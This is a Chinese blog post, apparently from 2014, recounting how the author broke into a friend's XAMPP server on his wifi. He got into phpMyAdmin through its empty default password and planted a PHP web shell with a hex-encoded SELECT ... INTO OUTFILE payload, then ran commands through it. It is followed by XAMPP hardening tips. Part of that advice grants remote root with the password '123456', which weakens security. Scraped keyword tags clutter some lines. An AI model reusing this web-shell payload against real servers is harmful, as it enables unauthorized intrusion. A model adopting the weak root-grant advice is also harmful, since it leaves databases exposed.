Mysql提權留後門

記錄一次關於無聊時對基友MYSQL服務器的提權攻擊。

儘管沒有徹底攻擊到對方,而且沒有清理痕跡,可是,這裏寫寫簡單的防護方式。


0x01.從無聊的nmap掃描開始

今晚無聊時候,本想打開電腦掃下誰連進我wifi,無心間,眼睛一亮看到了一個驚喜。php


nmap掃描結果


看到80端口,就有種衝動想要進去,進去後發現forbidden,而後試了試 phpmyadmin,發現直接進去,由於基友用的XAMPP集成環境,一下就猜到空密碼。html


進入到phpmyadmin


登進去後,就想辦法留個後門,搞個木馬。注意一下,mysql是以管理員權限運行的,so...mysql

查了下資料,這個很簡單,網上不少。web

找個一個表進去,用下面那句話,就搞定了。sql

SELECT 0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E FROM user into outfile '/Applications/XAMPP/xamppfiles/phpmyadmin/fuck.php'數據庫

那一串字符就是 <?php system($_REQUEST[cmd]);?> 的十六進制編碼了,只要路徑對,就ok了。apache

進去之後,只要訪問 /phpmyadmin/fuck.php?cmd= 就能直接打terminal命令了。vim


直接打terminal命令的結果


能夠看到我輸入ls /輸出了跟目錄下面的文件和文件夾。緩存

這個時候,若是是win黨,來個中國菜刀!!!啊啊啊,條子!!帶走!!!安全




0x02.關於Xampp安全(MAC環境)

下面說下我的經歷,關於MAC下,xampp環境的安全處理。

A.關閉phpmyadmin遠程登陸

vim /Applications/XAMPP/xamppfiles/etc/extra/http-xmapp.conf

在最底下添加訪問權限,以及關閉修改權限。

<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
    Require local
    ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</LocationMatch>


B.關閉Http遠程訪問權限

vim /Applications/XAMPP/xamppfiles/apache2/conf/httpd.conf

<Directory "/Applications/XAMPP/xamppfiles/apache2/htdocs">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Deny from all #拒絕遠程訪問
</Directory>


C.關於Mysql文件寫入權限

這裏不是全部都能寫入的,只要關閉了用戶寫入權限,就不能寫入木馬了。這個時候,就須要對xampp配置作處理下。

這是我本地測試:


mysql寫入權限


關閉mysql寫入文件權限(我本地的):

vim /Applications/XAMPP/xamppfiles/etc/extra/http-xmapp.conf

# since XAMPP 1.4.3
<Directory "/Applications/XAMPP/xamppfiles/phpmyadmin">
    AllowOverride AuthConfig Limit
    Require all granted
</Directory>

無論怎麼樣,反正記得,建立的文件夾,非不得已,不要 chmod 777,特別是upload等目錄,注意防範。


D.修改Mysql密碼

一、進入到phpmyadmin後,直接執行SQL語句:

update user set password=password('123456') where User='root'

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

二、直接修改

vim /Applications/XAMPP/xamppfiles/etc/my.conf

找到19行:

password = your_password




0x03.關於xmapp的一些環境

一、端口占用問題(最多見的)

Http 80端口configure在:

/Applications/XAMPP/xamppfiles/etc/httpd.conf

52行:

Mysql 3306端口configure在:

/Applications/XAMPP/xamppfiles/etc/my.conf

20行

二、添加vhost

/Applications/XAMPP/xamppfiles/etc/extra/http-vhost.conf

三、配置Mysql緩存大小

大多數的MySQL服務器都開啓了查詢緩存。這是提升性最有效的方法之一,並且這是被MySQL的數據庫引擎處理的。當有不少相同的查詢被執行了屢次的時候,這些查詢結果會被放到一個緩存中,這樣,後續的相同的查詢就不用操做表而直接訪問緩存結果了。

/Applications/XAMPP/xamppfiles/etc/httpd.conf

最後面:

[isamchk]
key_buffer = 20M
sort_buffer_size = 20M
read_buffer = 2M
write_buffer = 2M




本文出自 夏日小草,轉載請註明出處:http://homeway.me/2014/12/27/hack-mysql/


-by小草

2014-12-27 02:46:38

相關文章
相關標籤/搜索